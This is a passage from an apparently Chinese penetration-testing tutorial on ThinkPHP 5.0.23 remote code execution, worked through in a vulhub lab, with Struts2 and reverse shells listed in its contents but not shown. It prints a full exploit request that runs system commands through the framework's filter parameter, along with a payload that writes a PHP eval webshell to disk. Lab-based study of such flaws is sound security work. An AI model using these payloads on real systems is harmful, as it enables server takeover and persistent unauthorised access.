当前位置:   article > 正文

网络安全---渗透测试---框架漏洞-ThinkPHP5.0、Struts2_struts2漏洞检测工具下载

struts2漏洞检测工具下载

框架漏洞属于web安全漏洞中的环境漏洞,我们可以把框架看作毛胚房,在毛坯房的基础上进行装修就构成了最终的成品网站。


目录

Thinkphp5.0.23远程代码执行漏洞

如何判断网页的框架使用了thinkPHP?

通过网页的ico:

 通过网页的报错回显信息:

 使用专门的信息搜集工具:

vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:

 vulhub靶场实战:

启动靶场:

利用POC执行系统命令:

使用工具自动探测POC:

 利用POC进行反弹shell:

 拓展:什么是反弹shell?

 拓展:struts2远程代码执行漏洞

 struts2靶场实战---s2-016

 借助专门的工具来探测并利用对应漏洞

 Struts2-Scan:

 Struts2漏洞检查工具2019版 V2.3 20190927

在软件开发中,框架被用来提供各种功能模块,如用户认证、权限控制、数据库操作等,这些模块通常是经过测试和验证的。然而,由于框架的复杂性和灵活性,很难保证所有使用框架的开发者都能正确地使用这些模块。因此,框架漏洞的产生主要是由于框架本身存在的设计或实现上的缺陷。

常见的框架漏洞包括SQL注入、跨站脚本攻击(XSS)、文件上传漏洞、命令注入和会话劫持等

Thinkphp5.0.23远程代码执行漏洞

  1. ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、
  2. ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
  3. 其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而
  4. ThinkPHP 3系列也积累了较多的历史用户

ThinkPHP是一个免费,开源,快速、简单的面向对象的轻量级PHP开发框架,是为了加快WEB应用开发和简化企业应用开发而诞生的。 

漏洞影响范围:

 5.x < 5.1.31

Thinkphp 5.0.x<= 5.0.23

 漏洞成因:

该漏洞出现的原因在于ThinkPHP5框架底层对 控制器名 过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,最终导致getshell漏洞

如何判断网页的框架使用了thinkPHP?

通过网页的ico:

 通过网页的报错回显信息:

 使用专门的信息搜集工具:

vulhub中的thinkphp5.0.23远程代码执行漏洞对应靶场:

 漏洞POC的详细解析:

 vulhub 中给出的thinkPHP5.0.23的POCicon-default.png?t=N7T8https://vulhub.org/#/environments/thinkphp/5.0.23-rce/

 请求包内容:

  1. POST /index.php?s=captcha HTTP/1.1
  2. Host: 192.168.43.11:8080
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Referer: http://192.168.43.11:8080/index.php?s=captcha
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 76
  10. Origin: http://192.168.43.11:8080
  11. Connection: close
  12. Upgrade-Insecure-Requests: 1
  13. _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

 接下来粗浅地分析一波POST中的内容(实际上更近一步的解析需要结合框架源代码进行详细解析,但这里我们仅仅需要知道如何利用该漏洞即可):

  1. _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

这段代码看起来很长,其实它可以分为两个部分:

_method=__construct&filter[]=system&method=get

_method=__construct:该参数将传递给ThinkPHP框架,用于指定将要调用的方法。在这里,使用了对象的构造方法(constructor)__construct。


filter[]=system:filter参数用于指定一个或多个过滤器,用于过滤用户输入数据。在这里,system过滤器被指定,它可以绕过输入过滤,执行系统命令。


method=get:指定执行请求的HTTP方法为GET。


&server[REQUEST_METHOD]=whoami

server[REQUEST_METHOD]:伪造的HTTP请求头中的REQUEST_METHOD参数,通过伪造该参数,攻击者可以构造一个将恶意代码写入文件的请求。

#######################################################################
但是,除了这段POST内容之外,我们还要在POST请求的请求头部分加上/index.php?s=captcha:

method=get: 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由

s=captcha: 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha

 接下来试着上传一句话木马:

  1. _method=__construct&filter[]=system&method=get
  2. &server[REQUEST_METHOD]=echo "<?php @eval($_POST[123]); ?>" > shell.php

 vulhub靶场实战:

要想使用vulhub靶场,我们需要先在Kali Linux上部署Docker并安装vulhub,关于Docker和vulhub的安装部署较为简单,一方就不在这里水字数了,详细的图文教程请参看如下文章:

  1. Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,
  2. 进入对应目录并执行一条语句即可启动一个全新的漏洞环境,
  3. 让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

启动靶场:

打开虚拟机,进入安装了vulhub的目录:

┌──(root

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/761254
推荐阅读
相关标签